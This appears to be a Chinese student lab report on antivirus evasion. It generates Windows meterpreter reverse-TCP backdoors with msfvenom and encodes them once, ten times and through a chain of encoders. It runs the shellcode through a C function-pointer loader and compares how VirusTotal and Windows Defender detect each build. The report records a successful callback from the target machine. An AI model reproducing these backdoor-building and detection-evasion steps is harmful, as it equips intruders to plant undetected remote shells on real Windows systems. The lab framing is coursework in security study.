Exp3:MAL_免杀原理与实践

时间:2022-11-25 05:49:41

1.实验环境

病毒扫描引擎:virustotal.

靶机:windows8.1+windows defender

2.实践内容

2.1 msfvenom

2.1.1 msfvenom直接生成

利用msfvenom直接生成一个后门,上传到virustotal.扫描。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.243 LPORT=443 -f exe > backdoor.31.243.exe

Exp3:MAL_免杀原理与实践

放入主机立刻被windows defender检测隔离。

2.1.2 msfvenom 编码一次

  • 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.31.243 LPORT=443 -f exe > encoded_1.exe

Exp3:MAL_免杀原理与实践

实验结果

2.1.3 msfvenom 编码多次

  • 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.31.243 LPORT=443 -f exe > encoded_10.exe

Exp3:MAL_免杀原理与实践

2.2 Veil_evasion免杀实践

2.3 C语言调用Shellcode

2.3.1Linux平台交叉编译Windows应用

利用指令会生成一个c语言格式的Shellcode数组。

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=443 -f c

编译调用shellcode。

int main()
{
int(*func)() = (int(*)())buf;
func(); }

实验结果

2.3.2VisualStudio

  • 实验原理:利用指令会生成一个c语言格式的Shellcode数组。之后利用C语言编程调用shellcode数组,在windows平台生成.exe, 在靶机上运行。
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.138 LPORT=443 -f c

Exp3:MAL_免杀原理与实践

与上一个程序用相同的shellcode,将生成的C语言shellcode数组写成win32程序。不同的是此时用到了call函数。

Exp3:MAL_免杀原理与实践

  • 实验结果

    这次结果比上面好,现在尝试能否使用后门回连。

    Exp3:MAL_免杀原理与实践

    报错,需要安装vcredist 2013 x86

    Exp3:MAL_免杀原理与实践

    Exp3:MAL_免杀原理与实践

    回连成功,后门可以使用。

2.3.3动态加密shellcode

对比前两次结果,同一个shellcode被查杀的结果存在差异,很难判断call是否被杀毒软件定义为一个危险行为,下面将同一个shellcode动态加密一下,看看能不能对特征码有没有影响。

Exp3:MAL_免杀原理与实践

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.31.243 LPORT=443 R |msfvenom -e x86/shikata_ga_nai -c 4 -t  raw|msfvenom -e x86/call4_dword_xor -c 3 -t  raw|msfvenom -e x86/context_time -c 3 -t  raw|msfvenom -e x86/jmp_call_additive -c 4 -t   raw|msfvenom -e x86/shikata_ga_nai -c 4 -t exe >  encode_31.243.exe

使用的编码次数太多,虽然达到了免杀效果,但是影响了使用,回连失败。